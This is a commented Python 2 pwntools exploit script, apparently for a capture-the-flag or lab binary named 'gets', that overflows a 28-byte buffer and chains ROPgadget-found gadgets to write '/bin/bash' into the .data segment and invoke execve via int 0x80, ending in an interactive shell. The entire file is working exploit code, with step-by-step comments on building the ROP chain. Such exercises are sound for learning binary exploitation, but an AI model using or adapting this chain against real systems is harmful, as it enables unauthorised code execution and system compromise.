#!/usr/bin/python2
from pwn import *

# address to the .data segment (it's writable)
#   we will use it as our stack
BASE_ADDR = 0x080EA060
STACK  = p32(BASE_ADDR)

# extracted from gadgets.txt (created by the tool: ROPgadget)
MOVSTACK = p32(0x080549db) # mov dword ptr [edx], eax ; ret
XOREAX   = p32(0x08049303) # xor eax, eax ; ret
POPCALL  = p32(0x0806f050) # pop edx ; pop ecx ; pop ebx ; ret
POPEDX   = p32(0x0806f02a) # pop edx ; ret
POPEAX   = p32(0x080b81c6) # pop eax ; ret
INCEAX   = p32(0x0807a86f) # inc eax ; ret
INT80    = p32(0x0806cc25) # int 0x80
DUMMY    = 'BBBB' # padding

# The distance to the return value
buff = 'A'*28

buff += POPEDX    # it's via edx we will build our stack.
buff += STACK     # edx contain the stack address.

buff += POPEAX    # Lets put content in an address
buff += "/bin"    # put "/bin" in eax
buff += MOVSTACK  # put "/bin" in stack address

buff += POPEDX
buff += p32(BASE_ADDR + 4)  # we change our stack to point after "/bin"

buff += POPEAX    # Applying the same for "/bas"
buff += "/bas"
buff += MOVSTACK  # we place "/bas" after "/bin"

buff += POPEDX
buff += p32(BASE_ADDR + 8)  # we change our stack for to point after "/bas"

buff += POPEAX    # Applying the same for "h"
buff += "h\x00\x00\x00"
buff += MOVSTACK  # we place "h" after "/bas"

buff += POPEDX
buff += p32(BASE_ADDR + 12)  # we change our stack to point to new area

buff += POPEAX    # Applying the same for empty string
buff += "\x00\x00\x00\x00"
buff += MOVSTACK

buff += POPEDX              # we change our stack to point to new area    
buff += p32(BASE_ADDR + 16) # stack address

buff += POPEAX
buff += p32(BASE_ADDR) # get the address of "/bin/bash"

buff += MOVSTACK # we place the address of "/bin/bash" in our STACK

buff += POPEDX
buff += p32(BASE_ADDR + 20)  # we change our stack to point to new area

buff += POPEAX    # Pushing empty string on the stack
buff += "\x00\x00\x00\x00"
buff += MOVSTACK

buff += POPEDX             
buff += p32(BASE_ADDR + 24) # we change our stack to point to new area

buff += POPEAX
buff += p32(BASE_ADDR + 12) # get the address of the empty block

buff += MOVSTACK # we place address of the empty block in our STACK

# stack layout:
#   00: /bin/bash\x00\x00\x00           # the string "/bins/bash" itself
#   12: \x00\x00\x00\x00
#   16: address of "/bin/bash"          # char **arguments (ends with empty block)
#   20: \x00\x00\x00\x00
#   24: address of "\x00\x00\x00\x00"   # env pointer


buff += XOREAX              # eax is put to zero.
buff += INCEAX * 11         # eax is now 0xb
buff += POPCALL             # pop the arguments
buff += p32(BASE_ADDR + 24) # edx char *env
buff += p32(BASE_ADDR + 16) # ecx char **arguments
buff += p32(BASE_ADDR)      # ebx "/bin/bash"
buff += INT80               # call interrupt

# So we crafted full custom code using gadget to open shell
p = process('../gets')
p.recvline()

p.sendline(buff)
p.interactive()